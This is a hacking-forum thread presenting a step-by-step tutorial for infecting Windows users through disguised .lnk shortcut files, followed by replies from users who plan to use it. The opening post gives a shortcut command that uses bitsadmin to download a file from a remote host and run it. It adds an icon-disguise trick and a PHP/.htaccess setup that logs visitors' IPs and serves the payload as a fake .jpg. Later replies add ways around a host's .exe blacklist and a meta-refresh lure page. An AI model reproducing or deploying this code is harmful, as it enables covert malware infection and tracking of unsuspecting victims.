

Forum: [Hack Forums](#)

Thread: [\[Tutorial\] Infect people via .lnk files \(Windows shortcuts\)](#)

Yoshikage Kira - March 13, 2015, 3:53 pm

I accidentally junked the last thread(thought it was a different thread).
Anyways, first we'll create a new shortcut.

When it asks for the location of the item, put this:

Code C:\Windows\System32\cmd.exe /c bitsadmin /transfer /download /priority HIGH
http://domain/file %temp%\m.file>nul & start %temp%\m.file replace http://domain/file with the
download link of your file(make sure you use a short domain/filename).

After you create it, it'll look like this:

the icon looks very suspicious, right?

So we'll change the icon(go to properties of the file):

click browse and input SHELL32.dll:

then select the icon you want and save the changes by clicking ok->Apply.

Now it'll look like:

.htaccess file:

Code RewriteEngine on

RewriteRule q01Vukz.jpg dl.phpdl.php:

Code <?php

\$fp = fopen("log.html", "a+");

fwrite(\$fp, htmlspecialchars(\$_SERVER['HTTP_USER_AGENT']));

fwrite(\$fp, "
");

fwrite(\$fp, \$_SERVER['REMOTE_ADDR']);

fwrite(\$fp, "

");

fclose(\$fp);

if (strpos(\$_SERVER['HTTP_USER_AGENT'], 'Windows NT') === false)

{
die('This image can only be viewed on a Windows computer.');

}

\$filename = pathinfo(\$_SERVER['REQUEST_URI'], PATHINFO_FILENAME);

\$extention = pathinfo(\$_SERVER['REQUEST_URI'], PATHINFO_EXTENSION);

if (strpos(\$extention, "jpg") === false) die("bad boy");

function getbrowser()

{

if (strpos(\$_SERVER['HTTP_USER_AGENT'], 'Chrome') !== false) return "Chrome";

if (strpos(\$_SERVER['HTTP_USER_AGENT'], 'Firefox') !== false) return "Firefox";

if (strpos(\$_SERVER['HTTP_USER_AGENT'], 'Safari') !== false) return "Safari";

if (strpos(\$_SERVER['HTTP_USER_AGENT'], 'Trident') !== false) return "IE";

if (strpos(\$_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) return "IE";

if (strpos(\$_SERVER['HTTP_USER_AGENT'], 'YaBrowser') !== false) return "Yandex";

```

if (strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false) return "Opera";
return "Unknown";
}
$browser = getbrowser();

if ($browser == "Chrome" || $browser == "Opera" || $browser == "Yandex")
{
$filename .= '.zip';
header("Content-Transfer-Encoding: Binary");
header("Content-disposition:attachment;filename=$filename");
readfile($filename);
}
else if ($browser == "Firefox" || $browser == "IE" || $browser == "Safari")
{
$filename = pathinfo($_SERVER['REQUEST_URI'], PATHINFO_BASENAME) . '.lnk';
header("Content-Transfer-Encoding: Binary");
header("Content-disposition:attachment;filename=$filename");
readfile($filename);
}
else
echo 'Error: Image cannot be displayed as you\'re not on Windows or this is a browser which is not
yet supported(please try Chrome).';
?>then just upload rename your shortcut to q01Vukz.jpg and zip it and name the zipped file:
q01Vukz.zip

```

Living End - March 13, 2015, 4:57 pm

How would i get a short direct dl link?

Yoshikage Kira - March 13, 2015, 5:17 pm

(Mar 13, 2015 04:57 PM)Living End Wrote: [\[CITE\]](#) How would i get a short direct dl link?

I upload my files onto hostinger.ph, though they blacklist .exe extention the files aren't removed, so you can bypass the blacklist by using a script(or you can rename the extention to .eXe or .Exe).

Fortnite - March 14, 2015, 3:32 am

(Mar 13, 2015 05:17 PM)Greed? Wrote: [\[CITE\]](#) I upload my files onto hostinger.ph, though they blacklist .exe extention the files aren't removed, so you can bypass the blacklist by using a script(or you can rename the extention to .eXe or .Exe).

Thanks for this tutorial looks a little complicated for me but thanks :) I prefer video tutorials.. Im sure you would get lots of views if you did one..

BlackHoax - March 14, 2015, 3:39 am

Gonna post here so I remember to look at this when I get on my PC thanks!

ale12386 - March 14, 2015, 4:07 am

Nice tut OP! Will reed to do this to someone... :)

Alison Wonderland - March 14, 2015, 4:18 am

Bookmarked for later

Looks very useful in many ways

SirKingSir - March 14, 2015, 12:46 pm

this not working for me!

after done everything above when i visit my domain its showing error !

and the php file when i open it nothing happened just text "bad boy"

this a joke or what?

Yoshikage Kira - March 14, 2015, 1:09 pm

(Mar 14, 2015 12:46 PM)SirKingSir Wrote: [\[CITE\]](#) this not working for me!

after done everything above when i visit my domain its showing error !

and the php file when i open it nothing happened just text "bad boy"

this a joke or what?

You don't visit the url/script.php you visit the url/q01Vukz.jpg ?

SirKingSir - March 14, 2015, 1:32 pm

wow! yeah my fault thanks sir

anyway to do a PHP script which can view a real picture and download the zip file in the same time?

Yoshikage Kira - March 14, 2015, 1:45 pm

(Mar 14, 2015 01:32 PM)SirKingSir Wrote: [\[CITE\]](#) wow! yeah my fault thanks sir

anyway to do a PHP script which can view a real picture and download the zip file in the same time?No need for a script, just use a html document.

Code

<meta http-equiv="refresh" content="1;URL=http://domain/downloader.php" />an example of this would be: <http://wthax.eu/wlheNAx.png>

(this downloads avatar.gif to the user & displays an image)

SirKingSir - March 14, 2015, 1:59 pm

sorry for my stupid question but i don't know a lot about PHP and HTML

to done what you mentioned above

where i must put this html doc?what must i name the file?

should i edit on the PHP (dl.php) code?

Yoshikage Kira - March 14, 2015, 2:05 pm

(Mar 14, 2015 01:59 PM)SirKingSir Wrote: [\[CITE\]](#) sorry for my stupid question but i don't know a lot about PHP and HTML

to done what you mentioned above

where i must put this html doc?what must i name the file?

should i edit on the PHP (dl.php) code?

1)name the html document trx.html.

2)You do not need to edit the dl.php code, just edit the trx.html file(Code URL=http://domain/downloader.php to Code URL=http://domain/q01Vukz.jpgand change the

image).

in .htaccess add:

Code RewriteRule wlheNAx.png trx.html

SirKingSir - March 14, 2015, 2:40 pm

done successfully very HQ method!!! THANKS

Wireless Network - March 15, 2015, 12:42 am

Should be useful for me, going to test it soon. Thanks for share!

bingles - March 15, 2015, 8:29 am

looks good man, Thanks for the share!

Stoned Jesus - March 15, 2015, 10:45 am

just sayin that this does not work for windows xp users, so make sure that the target you are trying to infect is not using windows xp. (I know it is pretty rare for someone to use windows xp)

Comedic - March 15, 2015, 2:26 pm

Very well written tutorial dude, keep it up!

Fr?sh - March 17, 2015, 9:07 am

[Greed](#) is coming for you.

roosterbabe36 - December 12, 2016, 12:33 pm

When .lnk file is downloaded via chrome, it creates an extension named .download which doesn't allow the shortcut file to run. any ideas or suggestions ?